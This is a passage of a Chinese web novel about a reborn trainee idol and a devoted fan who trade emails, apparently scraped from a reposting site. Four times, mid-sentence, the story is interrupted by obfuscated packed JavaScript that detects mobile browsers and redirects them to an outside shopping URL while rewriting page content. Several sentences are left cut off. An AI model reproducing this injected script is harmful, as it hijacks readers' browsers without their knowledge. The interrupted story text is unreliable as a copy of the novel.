小张点头,目光却谄媚地投向人群中心的戴无极,说道:“你们啊得好好谢谢戴无极。要不是上次官方围脖他的反响特别好,我也很难给你们争取到这个机会咯。当然,其他人……也有那么点水花啦。比如任声声、许栖铜、郭石,你们都有不少新的粉丝了,纪屿和顾蓝也有点。”他虽点到了其他人的名字,但依旧把功劳安在戴无极身上,“不过呢,只是个集体视频,每人有10秒镜头左右,镜头扫到你们的时候,给我好好跳啊。”他语气加重,强调道:“我请的摄影师,可是在行业内很有名的,你们珍惜机会!人只给拍三条,选最好的那条发布。好好准备哈,下午三点开始!” “有粉丝?让我看看!”顾蓝迫不及待地朝小张伸手要回自己的手机——因为他们训练的时候都是收手机的,小张无奈地递给他,他马上点进公司官微。 看两眼后,顾蓝感觉特别不开心。 公司的官号里,好多戴无极的露脸精修照,能看得出来公司想捧的人是谁了。其他人嘛,大都是模糊的马赛克画质和虚化到只剩下轮廓的身影。偶尔他们有一些露脸的集体照,公司也没给他们精修……全靠自身颜值和死亡镜头对打。 他闷闷不乐地翻着评论区,忽然定睛一看,拍了拍身旁的纪屿:“快看!你有个狂热粉丝,这张图就只是你的模糊背影,她都夸你,夸到天上去了,笑死了!”他把手机页面的光度调亮,递到纪屿眼前。 纪屿闻言,看向顾蓝的手机。他眉间浮现了一丝困惑,盯着屏幕上的评论字眼半天没挪眼。“哈,你也吃惊了吧!我看这人还帮你把官号拍的生图都修图了,这专业的修的比……都好。”顾蓝差点就被戴无极瞪穿了,他尴尬地想收回手机,未料到被纪屿一把夺过。 上一世,他是出道后才稍有名气,走红。 出道之前,公司给他有效的曝光特别少,他也没有练习生时期就开始追他的粉丝。他清晰的记得,前世此时,戴无极已经有了很多的粉丝基础。以及他的队友,atw的其他成员,任声声、许栖铜和顾蓝都有了十几个甚至上百的粉丝,只有他的官号还没有人点关注。 这也是为什么,后来任声声和许栖铜,对他不满的原因之一。他出道时表现惊艳,收获了大量的粉丝拥护他成为组合的队长,这对于粉丝量稳步上升的那两个人来说是一个很大的打击。 可是现在…… 那个狂夸他的ID叫作“热爱屿林”。 这个ID……他是记得的。 那是一个暴雨的夜。 纪屿记得很清楚。 疫情的三年,仿佛一切都被按下了暂停的按钮。他们组合的演唱会,从不断延期,到最终彻底取消。曾被排满的通告表,现已常常是大片空白。后来疫情稍微好转,他虽有零星的通告工作,可也还是很清闲,有了很多属于自己的时间。 纪屿记得,那是2021年,他那一周都没有工作,于是他打算回到G市探望当年给他兼职机会,让他听歌、给予他个人空间的唱片店老板。店还在,守店的却是个眼熟的小伙子。他才想起来是店长的儿子。他告诉纪屿,父亲身体不好,仍在住院,但病情已经在好转了。 “医生说不必太担心,”小伙子看他一脸担忧,便宽慰他,又打量了他脸上那款黑色的口罩,“屿哥,这个不管用的,换一个吧。”说着递给纪屿一个全新的医用防护口罩。 纪屿点头换上,重新走入雨幕之中。 雨势变大,风也撕扯着他的伞面,他本就是漫无目的地行走,此刻只想找个可避雨的地方落脚。四处看看,街道上很多店都不再营业了,不过路边好像有一个通往地底下的入口? 他走近了向下看,蓝调的灯光在台阶尽头慢慢地闪烁,原来是一家清吧。可这种场所不是早已大规模关闭了吗?他带着疑问咨询,门口的服务员点点头:“这周才刚放开,说是这个月附近没有疫情了。但谁也说不准呢……可能明天就又停了。”纪屿了然,服务员严格地核验了他的绿色健康码,才允许让他进入门店里。 地下负一层,没想到清吧的空间居然挺大的,卡座超多,却十分之冷清。只有两桌,亮着微弱的小桌灯,遥遥分散在清吧的不同角落,安静无声,大概是在喝闷酒吧。本应有驻唱歌手的小舞台此时空无一人,更让这清吧添里好几分惨淡。 另一位口罩遮面的服务员见到他,便迎了上来,声音隔着面料显得闷闷的,询问他想坐哪里。 纪屿的目光扫过那些空空的卡座和吧台,指了指舞台,问道: “我可以上去唱歌吗?” 服务员愣了一下,最近的经营情况不容乐观,他们老板自然是请不起驻唱歌手了,没想到还有客人自己想唱……于是服务员点点头:“台上有吉他,还有酒精喷雾……您都可以用的。”他补充道,“麦克风用之前也喷一喷吧,消消毒。” 纪屿礼貌地道谢,走上舞台。 他也很久没有上舞台了。 不过此时,他只是觉得,疫情以来,世界承载了太多的悲伤,丧失了太多的快乐。今夜在此独饮的人,心中大概也是不快的,他没有能力改变现实的阴霾,希望能用歌声,为这小小空间里的人们带来点点的慰藉吧。 他弹唱了一首很喜欢的歌,叫作《September》*,是一首老歌曲,但仍然有韵味。 …… say do you remember …… dancing in September …… never was a cloudy day My thoughts are with you …… 旋律轻快,温暖治愈,这首歌,在未来,还成为了他非常喜欢、反复观看的一部电影的主题曲。 只唱到一半,其中一桌的人默默起身离开,只剩下右侧角落那一盏桌灯还在亮着。 至少还有一位听众。 他微微侧身,朝向那边,演奏剩下的部分。 一曲完毕,他听到了那里传来的掌声。不热烈,却真挚。 那位角落里的顾客向他走来。 是个女孩,看上去是大学生的年纪。也不知是脸小还是戴着过大的口罩,大到遮住了卧蚕,在这昏暗的灯光下,他更加是看不清她的模样,只听见她支支吾吾地问:“你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16640599|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……是……纪屿吗?你唱得太好了。” “谢谢。”他礼貌地道谢,看到女孩的口罩捂得这么严实,他也学着将口罩边缘往上拉了拉,试图遮挡得更多,在这特殊时期可以更安全些。 可这女孩似乎误解了他的这个动作,以为是他不开心自己被认出来了。她抖着手慌乱地递给他一样东西,是清吧的一次性纸菜单。“这个给你,谢谢你,给这个夜晚带来了这么好听的歌。” 纪屿翻到背面,只见她用点餐的铅笔,写了几行话。 “Hello 纪屿! 我是你的粉丝,很遗憾没有在你出道的时候就粉上你,我是2018年才入坑的新粉一枚QAQ 希望你能越来越好,办越来越多演唱会~ 我也要去很厉害的公司上班了,希望有一日我们顶峰相见! Ps:也希望未来你的演唱会我都能抢到票OvO” 落款是:热爱屿林。 当他抬起眼,想回应什么的时候,那个身影就已经消失不见了,诺大的酒馆,就只剩服务员收拾桌面的玻璃碰撞声。 他后来,在围脖上搜过几回这个名字。 第一回,是当天晚上。最开始,这只是个很纯粹的追星号,转发一些好看的帖子和图片。 第二回,是2024年。在他们的演唱会上,他突然想起来这个ID,想知道那个女生有没有来到现场。他看到了她没有请到假的抱怨帖文,还有很多打工人的怨气——她的账号充满了对工作的无奈,骂领导,骂项目,虽然如此,平日里她还是有转发一些他的动态。 再后来,是2025年。他有日经过这个酒馆,就又想起来了这个ID。 可是那日再看,这个账号已经沉寂,没有再分享生活的日常,也没有了碎碎念,只是偶尔点赞一下关于纪屿的帖文。 也不知是现生太忙,还是觉得他已经不是一个值得粉的人了。 也许是后者吧。他是这样和自己说的。 思绪回到今日。 他点进去这个人的主页,里面是审美极好的修图,和真心独到的赞美语句,底下还有不少人收到了她的安利,关注了自己。 难道是自己记错了?他明明记得,这个粉丝说是在他出道后,才开始粉他的。 顾蓝伸手在纪屿眼前晃了晃,拿回了手机:“发这么久的呆?他们都去准备妆发了,我们也快出发吧,”顾蓝把手肘搭在纪屿肩上,乐呵呵道,“没事,别大惊小怪的,以后啊你会有更多的粉丝,你是一个值得粉的人!超多的粉丝!可能会有’热爱纪屿’啊,’钟爱屿林’啊,’热爱屿宙’啊,哈哈哈哈哈哈……” 纪屿平静地收回目光。 “好吧,也许只是相似的名字,不是同一个人。”他轻声对自己说。 “啥,你咕哝啥呢?”顾蓝疑惑地问道,可纪屿已经丢下他,往化妆间快步走去。 * 林定突然打了个喷嚏,小声嘀咕道:“谁在背后骂我。” 身旁的晓春一把挽住她的胳膊,“别管谁骂你了!你别忘了,今天食堂有咖喱牛腩!去晚了可就抢不到了!我是要在国庆前的一周都吃好喝好不亏待自己!”话音未落,她已经拉着林定的手朝食堂冲去。 两人一路狂奔,赶到时咖喱牛腩的窗口前却早就排成一条长龙了。?“完啦,吃不上了呜呜呜……”晓春气的直跺脚,目光突然定住——班里的体委刚打好,圆形餐盘里正是香喷喷的咖喱牛腩。 “体委哥哥!”晓春立刻凑上去,眼睛瞪的大大的,“你这个,这个让给我呗?我再给你买份别的呗?”?体委愣了一下,视线在邓晓春脸上只停留了一瞬,慢慢看向林定。只见他耳根微红,竟然直接把盘子塞到林定的手里,对晓春说:“我给她都不给你。还有,别叫我哥哥,你想吃让你男朋友帮你买去!” “啊?不用不用。”林定把餐盘往前推拒。一来她本就不想吃咖喱,二来平白接受人家的好意,实在没有边界感。可那体委只潇洒地说了句“没事”,便转身跑开了。 邓晓春用手指戳戳她,笑得贼一样,说道:“感觉怎么样?185黑皮体育生喔……我看他好像喜欢你诶林小定~” 林定黑线,把咖喱塞回晓春手里:“吃你的咖喱去。本姑娘心有所属,拒绝一切桃花哈。” “哈?谁啊?” “纪屿啊纪屿啊你要我说多少次。” 晓春翻了个白眼:“切,神经。还以为你喜欢哪个真人呢……追星而已,算什么喜欢嘛!他又不可能喜欢你。” 林定哼哼两声,转身走向牛肉米线的队伍:“怎么不是真人了,不喜欢我又咋了,我喜欢他就够了,他是一个值得粉的人。追星女的世界你不懂……至少现在还不懂!” 17.17 舞台 林定曾和同事开玩笑说,要是高中时有现在996这么卷,清北岂不是狠狠拿下。可当自己真多回到十年前,她才老实了——拿下清北还得是有一些天赋才行啊! 不过重生后的她,虽然离清北还十万八千里,但原本糟透的成绩现在是越来越漂亮了,名次上她的位置也越来越往前冲了。 高二的节奏很快,每天睁眼就是学习,她学到忘我,已经整整一周没更新小说,连网站都忘了登录。 国庆前一天提早放学。她回到家的时候先打开了电脑。 嗯,邮箱还是没有回信。她发了一行:“国庆快乐。”过去,便退出邮箱,切换到小说平台的界面——然后被网站后台的信息量惊呆了。 她的文爆了。?还有编辑发来的签约邀请。 林定的手停在触控板上方,迟迟不敢点击。 前世,她的文几乎都没人看,评论区零星几条还是骂她的。加之当时被父母发现,骂她不务正业不好好读书,她就选择了弃文注销,把写作的梦想在心底深埋。可是此刻,眼前的数据让觉得自己在做梦。 深呼吸,她鼓起勇气点开了书评。 竟然都是好评。 读者们都在表达对她笔下的男主角祝星昕的爱意。这个前世被她写成拥有无数金手指、一路开挂的角色,从前是幸运之神独家眷顾,现在是幸运与努力并行。祝星昕不再是无脑开挂,而是一步一步升级成长,每一次成功都有自己的汗水铺垫。 看着满屏“祝星昕好真实”、“祝星昕努力的样子好有魅力”的评论,林定轻轻合上电脑,嘴角不自觉哼起歌来。 所以说,这样的成长,更让人心动,对吧。 窗外夕阳正好。 * 顾蓝一直觉得纪屿很需要钱,因为他生活费花的巨快。于是假期的一大清早,他就吵醒了纪屿,“市中心那家五星级酒店,有几场蒙面晚宴,说是缺两个暖场歌手,报酬贼多了,去不去?” 纪屿翻了个身,语气淡淡拒绝:“公司禁止练习生自己接活,你忘了?” “哇,我真服了!”顾蓝忍不住翻白眼,“之前你去唱片店兼职的时候,就不是违规么?我可是给你保密的很好的好吧!再说了,那宴会每个人都戴着面具,天知地知,你知我知,不会有人举报咱俩的啦!”顾蓝见纪屿一动不动,他一把掀开了纪屿的被子,凑前去踹床:“不去真的爆亏诶,那酒店的经理说这几日是被一个大公司承包下来办的周年庆活动,去一场就给这个数!”他伸出手指在纪屿眼前晃来晃去,“最关键的是……一共有五天啊!买不了吃亏买不了上当!” 纪屿无奈地拽回自己的被子,看着顾蓝带着光的眼神,沉默了一下,最终还是答应了。“行吧。” “太好了!”顾蓝喜笑颜开,“有钱一起赚,我是不会瞒着你自己赚钱的!” 这天晚上,顾蓝便带着纪屿来到了那家位于市中心的高级酒店。 顾蓝一直在感慨华丽,嘴上说着若是可以天天住这样的酒店就好了。纪屿侧头看向自己的好兄弟,这般天真的样子实在是难能可贵。毕竟在未来,他们走红后,就常常是在这样的酒店等着出工,那时候的顾蓝已经麻木了,甚至还与他抱怨这样的地方没有烟火气,感觉孤独至极。 果真是不同年岁有不同的期望和烦恼。 宴会厅有上百席酒席,宾客们穿着各具特色的服饰,带着不同风格的面具谈笑风声,空气中弥洋溢着欢喜的味道。“哇,人家公司周年庆,吃得这么好,还能穿得这么自我……”顾蓝对着纪屿嘀咕道,他们随着临时演出队一起往大舞台上走去。他们这几天的任务都是挺简单的,只需在没有人演讲和主持的间隙,上去唱几首英文祝福歌曲,八首曲子唱完就可以结束工作了。 纪屿扶了扶半遮面的银色面具,手指握紧工作人员传递上来的陌生麦克风。 当聚光灯落在他身上的那一刻,他的心脏在胸腔里,按久违熟悉的节奏开始疯狂跳动起来。 是这种感觉了。 前一世,无论在人声鼎沸的体育场内演出,还是在冷清的酒馆中唱歌,或是现在这般无人认识他的角落里上台,只要拿起麦克风,他都能暂时忘却圈子里的不公、被人背刺的愤怒、生活里的各种不堪与悲苦。即使在公司的压迫下,舞台也成为过他的囚笼,但是纪屿热爱音乐的本心、以及粉丝对他的爱意和鼓励,都是真挚不作假的,舞台,是一个能让重新站起来的地方。 宴会厅里,宾客为舞台上的人鼓起了掌。 面具之外,是喧闹欢笑和属于他人的喜庆;面具之下,是那个深爱创作与歌唱的少年。 纪屿深呼吸,与这陌生的麦克风在下一秒就成为了最佳拍档,他温柔的独特嗓音与顾蓝带劲的曲风相辅相成,一起融入到这满堂欢欣里面去了。 顾蓝看着眼前闪耀的兄弟,再一次深深感慨。 此刻的纪屿,不再是那个在练习事里刻意不露锋芒的练习生。 他是星星。 他就像是一个,为歌而生的人,天生属于舞台。 五天的晚宴外快演出顺利完成了,他们俩都得到了一笔丰厚的报酬——不过,让顾蓝感到很郁闷的是,纪屿没有用这笔钱和他一起买那双最新款的球鞋,而是又拿这笔钱去投资什么了。 宴会每天都很准时结束,顾蓝总拉着纪屿去享受一顿宵夜。 偷偷摸摸的那种,大鱼大肉,高油高糖的那种。 然而,他好兄弟的自律程度,令他瞠目结舌。 宵夜之后,纪屿竟然要回公司的健身房做有氧!? 这像话吗!! 顾蓝拒绝了纪屿的邀请,他才不去呢,他要睡觉,明早不也是运动么…… 可是,他兄弟是个狠人,夜晚回去加练,第二天清晨的日常锻炼也从不缺席。顾蓝一边感慨纪屿神仙般的毅力,一边又羡慕着纪屿魔鬼般的身材。 与之相比,顾蓝虽也有参加每天的早练务,可是宵夜实在是太美味,太高热量了……假期结束的那天,集体上秤,顾蓝重了五斤。 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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领奖的时候,有一位自媒体博主试图采访获奖者们,却被主办方给赶走了。林定觉得那人好眼熟,思考了片刻才想起来。这人是十年后家喻户晓的娱乐主持人曾奇奇!她赶忙从领奖台跳下来,追了上去,主动表示非常非常愿意接受她的采访。曾奇奇受宠若惊,林定还提出加个好友。 林定握着手机,看着联系人那个名字,心里兴奋得很,这可是宝贵的人脉啊!只有追过星的人才懂…… 期末她考了全班第三,这个名次是她上辈子和这辈子都没达到过的高度。 正因经历过领导的压榨,和多线程任务同时处理的折磨,如今才会觉得高中的作业不算多,老师的批评也算得上温和了,连留堂在她眼里都是比加班轻松太太太多的事件。何纯和邓晓春撇撇嘴,都觉着她这副“看淡一切”的样子奇葩又神经,因为他们还是觉得留堂痛苦、作业难忍啊! 寒假来临,林定打开电脑。 收件箱沉寂依旧,发件箱里反倒是躺着十几封不曾得到回音的信件。 她斟酌着,敲下最新的文字: 【我又放假啦! 这次期末,我考得特别好,被自己厉害到了哈哈哈! 冬天到了,你一定要多穿些,注意保暖哦~ 希望你一切都好。 Ps:我还没有遇到想要的专辑呢。好的东西是需要耐心等待滴,我相信,那张专辑就在不远的未来啦!】 按下发送键。 18.18 我都会回 纪屿从来不喜欢过年。 但是他喜欢除夕的氛围。 每年除夕,网上的网上邻居们都在帖文里传递着祝福,现实中窗外的烟花响个不停,电视机里也播放着春晚的喜庆节目。 可今年,冷冷清清的,只有他电脑上播放的略有延迟的春晚,在提醒他,今天是除夕夜。 公司给他们放了几天的假,时间虽不充裕,机票也贵的离谱,但大多数人还是回国过年了。顾蓝的父母飞过来这边和他一起过年,虽然顾蓝也有盛情邀请纪屿跟他们家一起度假,但纪屿还是礼貌地婉言拒绝。 纪屿今晚自己开火煮了一个面。 可惜厨艺技能糟糕透了,煮烂了,锅底都糊了。 他只好开了一个顾蓝留下的泡面来吃,吃完后感慨了一下发明方便面的人真是够伟大的。 他拿起电话,轮流拨给父母。 如他所料,打过去都是无人接听,也许是看到跨国号码,以为是诈骗电话吧。 不过都无所谓了,他们从来不会过问自己的近况,只是会向公司要钱而已。 纪屿放下了手机。 练习生公寓网络极度延迟,电脑里面转播的春晚变得断断续续,卡顿的喜庆歌曲让独自一人的房间变得愈加孤独了。纪屿索性关掉了视频的页面,起身向角落的唱片机走去。 他蹲下,在收纳箱里摸索,指尖轻触到一个未拆封的唱片。 他闪过一丝疑惑,在这边买回来的唱片,他应该都听过了,怎么还会有新的呢? 纪屿轻轻地将那唱片取出,借着远处电脑屏幕的微光,看清了封面。 是那张。 是那个叫林定定的女孩,送给他的绝版唱片。 他出国已经过去半年了,也很久没有再想起她了。 唱片先前就被他放在了箱中特意留出的位置,并未蒙尘,可记忆中那个女孩的脸,却有一些模糊了。 她一定觉得我是个言而无信的人吧? 纪屿苦涩地想,至少他是这么认为的。 他答应会回邮件,却从来没有回过。 一想起那个该死的的密保问题,无力感再次让他叹气。 他拆开塑封,将碟片轻轻地放入唱片机。动听的旋律一出来,就驱散了他少许孤独。他坐回电脑前,看着略显卡顿的电脑,他打算清理一下浏览器的缓存,指尖却在无意之间点开了网页的收藏夹。 里面是两个孤零零的网页链接。 一个是问鼎娱乐公司的官网,另一个是……一个小说网站? 纪屿有点疑惑。 渐渐地,一段曾被他遗忘的记忆缓缓出水面。 小说网站…… 小说? 看小说? 这对纪屿来说是很遥远的事了。 他想起来了……在二十岁左右那段难熬的练习生时光里,他好像确实是靠读网文来逃避现实的。 那时候刚做练习生,训练和公司压力让他感到极度痛苦和强烈挫折感,他都是靠睡前看一会儿小说,来放松心情。 他带着怀旧的心理,点开了那个古早链接。 浏览器立刻便跳转到一个名为“一言为定”的网文作者的个人主页。 当这个笔名映入眼帘,纪屿只觉得全身的血液都猛然沸腾起来。 竟然是她?! 一向文明的他,在空无一人的房间里忍不住爆出了一句粗口,“我靠!”震惊和失而复得的狂喜同时向他袭来了。 就是这个作者! 这个作者,曾让他又爱又恨。 在他追文最上头的时候,她竟然断更,最后甚至还直接注销了账号,消失到全网查无此人!那时他有点生气,但更多的还是难过。 他是多想知道这个故事的结局啊。 后来自己成名了,还曾在采访中提到过,表达自己对这个“坑王”的念念不忘。当时,纪屿心底还存着一点点侥幸,希望这个坑王作者能看到这个采访,然后重出江湖。 可是,她再也没有回来。 采访播出后,不少粉丝都把网名改为“一言为定”,他更加是不能在互联网上找到这个作者了。 他曾想过,是自己不够红,采访糊没人看? 他甚至为此,还想着有朝一日能站在更大的舞台上,能再试着呼唤她一次。 但是,后来娱乐圈的痛苦和磨难侵蚀了他,这点小小的念想,也终究被现实的残酷和忙碌给掩埋了,连带这本书和作者,他都再未想起过。 此时此刻,他再一次感激这场上天赐予的重生,让他重新找到了这片小小的精神休息室。 这次,他一定要追更! 催更! 打赏! 把作者牢牢摁在电脑前,绝不能让这人再跑了! 真是过年了,纪屿心想。他哼着歌点开作者的作品列表,找到了那本他当年看得很投入的小说…… 其实,这是一本青春伤痛文学,但当时的他却看的很上头…… 他记得清楚,当初觉得这个小作者的文笔虽一般,但故事真的很爽很爽,那个名叫祝星昕的男主角,天生的幸运星,金手指连开,一路顺风顺水,所向披靡,没有一点挫折,看得他十分之解压。 ……等等。 他滑动鼠标,点了几个章节快速浏览。 为什么这里的祝星昕,本靠幸运拿到的一切,都变成了自己靠后天努力拼搏得来的呢? “男主的金手指呢?!”他自言自语道。 和他记忆里的怎么不一样了? 难道是他记岔了么…… 祝星昕…… 祝星昕!! 一个荒谬的念头闯入纪屿的脑海中。 他切回了邮箱登录页面,找到那折磨他许久的找回密码环节,在那个该死的密保问题【你最喜欢的人是谁?】下方,缓缓地输入了三个字: 祝、星、昕。 【Bingo!回答正确,您的密码已找回,可以在此重新设定新密码。】 “我服了。我就知道……” 当年他看这剧情上了头,十分欣赏和羡慕男主角,也曾经希望自己可以像祝星昕一样是个幸运星。在他沉迷之际,又恰逢是创立新邮箱的时候,他便把那个金手指开满的主角的名字填了上去…… 纪屿看着那个让他觉得荒谬又好笑的密保答案,一抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16664869|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自嘲的笑意刚爬上嘴角,却在下一秒,被收件箱界面那数十个红色的未读圆点给定住了。 他的呼吸,在这一刻,短暂地停滞。 全是来自同一个邮箱地址的邮件。 纪屿感到鼻子发酸,眼睛也有一些涨涨的。大脑不知还有什么,好像只剩下一片空白,连身后唱片机的曼妙音乐,也变得十分遥远,不再真切。 他的指尖微颤,一封接一封地点开。 这些,全都是林定定,在这大半年的时光里,投递过来的真意问候和诚心祝福。 【一路平安,加油。】?【我有种预感,觉得很快就能在大屏上看到你了~加油纪明星!】?【秋天来了,中秋也来了,不知道你那有没有的吃月饼呢?还是先祝你中秋愉快吧~】?【冬天到了,你一定要多穿些,注意保暖哦~希望你一切都好。】?…… 数十封邮件,他字字句句默读。每封信的结尾,她都添上一句,还没有遇到很喜欢的专辑。 原来那个女孩,还一直有记得他们那个关于音乐的约定,而她不但没有责怪他的音信全无,甚至没有过问为何不回邮件。 好傻。 傻得让他心头难受。 她难道就没怀疑过,也许,是他给错了邮箱地址吗? 【除夕快乐,今天有吃好吃的饭吗?】 最新的一封,在五个小时前,才刚刚抵达。 强烈的自责感笼罩了纪屿。 所以,他为什么记不住密码?为什么他没有更早一点想起来密保的答案? 就在片刻前,他还在因为找回那本小说陷入狂喜,可此时,愧疚将他彻底淹没。他为自己迟到的发现,为这个女孩长达半年的等待,感到万分无比抱歉。 他怎么总是做这种事。 前世的那个死去的自己,也让数百万等待着他的人,再也听不到他的回答。 还好。?还好。 他重来了。 这一世,他还能回答。 他可以回答。 纪屿看了一眼时间,国内已过了午夜十二点。 异国的天空,彻夜寂静无声,更不可能有烟花爆竹的庆贺声了。 他手指笨拙地放在键盘上,敲下第一行字:?【新年快乐,林定定。】 只打了这几个字,他便立刻按下了发送。 思考片刻,他又马上新建一封:?【对不起,之前密码忘记了,一直登不上。】 再次发送。 可他觉得,这干巴巴的解释,显得很没诚意。他需要告诉她更多才对吧。 于是他手指又开始敲击起来:?【一个人过年,没有好吃的,我不会做。之后我会常常上邮箱的,你课业很重,不用常回信。】 点击发送后,他盯着最后那句话,微微蹙眉。这话听起来好像不太对?会不会让她误会自己不想收件啊? 不行,他绝不能让她误会。?他立刻又补上一封:?【不是不用回信的意思。想给我发信就发信,我都会回。】 再次点击发送。 空空荡的房间里,飘着充满爱意的音乐声,他略显急促的呼吸声,还有涵盖着这姗姗来迟的、兵荒马乱的回应。 19.19 浮光 林定的春节,过得非常程序化。 如往年一般,她要跟着爸妈走访各个亲戚、参加各种父母辈的友情饭局。 这些时候,叔叔阿姨们关心的问题,没有任何新意,还是那几个。 “期末考试考得怎么样呀?” “在班里排第几呀?” “有没有住宿呀?” 若放在从前,她定会觉得十分烦躁了,可毕竟是十年后的她,如今看来,只觉得这些问题无比地亲切。比起大学毕业后,每年都要被追问“谈对象了吗?”、“什么时候结婚呢?”、“年薪多少啊?”这几类令人麻木又无语的问题,关心成绩和校园生活简直是世界上最最最温柔的问候了。 她只需要乖乖作答,便能换来一片夸赞。 对了,还能收到很多红包…… 一想到有钱收,她就更高兴了。 这饭局吃得她爽翻了。 正月初七一早,林定刻在DNA里的牛马习惯让她差点跟着爸妈一起出门。 妈妈看着她一脸没睡醒的样子,哭笑不得地说:“怎么了定定,你也要去上班啊?”林定尴尬地摸着脑袋跑回房间,躺下睡回笼觉了。 这一觉就睡到了中午一点,她起来随便煮了个面吃,便打开了电脑。 当邮箱界面加载出来的那一瞬间…… 林定发出了尖锐的爆鸣。 然后爆哭。 然后狂蹦。 纪屿回信了…… 时隔半年,他回信了! 而且,他只是忘了密码,不是忘记了他们的约定。?她真的没有粉错人! 紧接着,她便慌乱了起来。偶像明明是在大年初一就给她回了信息,她居然现在才看到……她赶紧手忙脚乱地回复,问候他的近况。 让她更无措的是,纪屿回信的速度飞快,基本上都会当日回,再不济也是次日就会回复。 就好像…… 在弥补什么亏欠一般。 寒假虽短,可林定的每一天都充实愉悦,闪闪发光。 期间还闹过一场可爱的乌龙事件。 有一天,纪屿的回信中,问她要身份信息,说是打算寄一份跨国快递给她,需要填收件人。林定那属于2025年的脑子,看过这么多诈骗新闻,自然是拉响了意识警报,她皱眉,紧张地回复道:“你是谁?为什么盗号?你是他的话就证明一下,自拍,左手比耶,右手脸比心!” 为了自证清白,刚睡醒还带着困倦睡眼的纪屿,竟真的按照她随口提出的动作要求,乖乖拍了两张自拍,在邮件里发来。 收到照片的那一刻,林定的房间里,再次爆发出激动的尖叫。她郑重其事地将那两张独家·只属于她的照片存下来,设成了手机壁纸。 而纪屿斟酌再三,也没有再继续问她要信息了,只说寄给国内的朋友,到时候再让朋友帮忙寄给她。 开学的前一天,爷爷打来电话,说有个她的包裹要她来取。林定纳闷呢,自己也没有买东西寄到爷爷家啊,她忙赶过去。 寄件人的地址是那家唱片店,收件人是:林定定。 林定突然想起那日,该不会纪屿说寄给国内的朋友,那朋友就是唱片店的老板吧? 心里突然暖暖的。 只是没想到,纪屿只来过爷爷家一次,竟然能记住这个地址。 爷爷笑眯眯地打趣道:“是谁寄给你的啊?”林定嘿嘿一笑,“那个大明星啊!”说完,她便小心翼翼地拆开包装。 包裹里是三张在纪屿独特审美上的唱片,还有一片被仔细过塑好的树叶,树叶脉络清晰可见。所有礼物之上,躺着一封字迹好看的手写信: 【树叶来自很高的山,据说能带来好运。祝你得偿所愿。好好学习,天天向上。】 林定的眼眶再一次湿润了。 高二下学期,林定的生活节奏越来越紧凑。 工作日努力读书,周末的晚上则更新小说,以及维护追星账号。 她珍惜与纪屿的联系,可又怕自己过度打扰,便自觉地将通信频率维持在一周一次了。 她把那片树叶当作书签,夹在学校的书本里。每当学的很累时,看一眼那抹独一无二的绿色,便又新充满了动力。 纪屿在邮件里,从不提及训练的苦累或是行业的烦恼,只与她分享异国的所见所闻,和自己的一些好事。而每封信的结尾,他总不忘附上那句“好好学习,天天向上”。 真像个古板又可爱的小长辈。 林定在心里偷偷嘀咕,嘴角却忍不住上扬。 【为什么总是报喜不报忧,明明我也可以为你分担一些……】 她思酌片刻,终于还是将这一行删去。 她现在还没有能力替他分担。 会有这么一天的。 冬去春来,夏季也悄然而至。 在这样规律又充实的日子里,林定的成绩单上的分数,与她梦想的院校越来越近了。 暑假通知发下来时,教室里不像往年暑假那样欢呼雀跃,反倒是唉声一片——他们是准高三生了,八月就要提前回校上课,暑假的时长大打折扣。林定虽早就知道,但也还是有点心塞,直到晚上回到家,妈妈向林定发出了旅行邀约——妈妈的一位大学舍友远嫁国外,给她发了邀请函。想起前一世,因为她叛逆,与父母关系紧张,她拒绝了妈妈的邀请,也错过了这次异国之旅。 “不过,怎么又是婚礼……” 林定咕哝道,人生到底要参加多少人的婚礼啊?可当妈妈报出那个国家的名字时,她瞬间打起了精神,眼前一亮。 我去,那不就是纪屿正在集训的国家吗? 虽然相遇的概率为零点零零零零一,但能呼吸同一片天空下的空气,踏上他走过的街道,对追星女孩来说,已是很浪漫很满足了——噢,解街道是踏不上的,因为不是一个城市,唉。 一番奔波后,母女俩的签证在八天后顺利办妥。林定和妈妈踏上了旅程,只留下老爸“独守空房”。出发前一晚,她给纪屿发了邮件,兴高采烈地告诉他自己将和家里人去旅行了。纪屿回复得也很快,说他这几天有拍摄任务,可能无法及时回信。 拍摄嘛…… 林定可丝毫不觉得失落,反而特高兴,偶像愿意积极搞事业,那是天大的好事啊! 国外的那个海滨小镇,气候宜人风景也美得不像话。婚礼就在镇上的酒店举行,母亲与老同学们相谈甚欢,林定没有同龄人交谈,倍感无聊,便和妈妈打了声招呼,打算自己去附近逛逛。 她悠哉悠哉地漫步,走到了这座小镇的标志性铜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她愣了一下,这是被纪屿迷得眼泪直流吗? 还是太想念了。 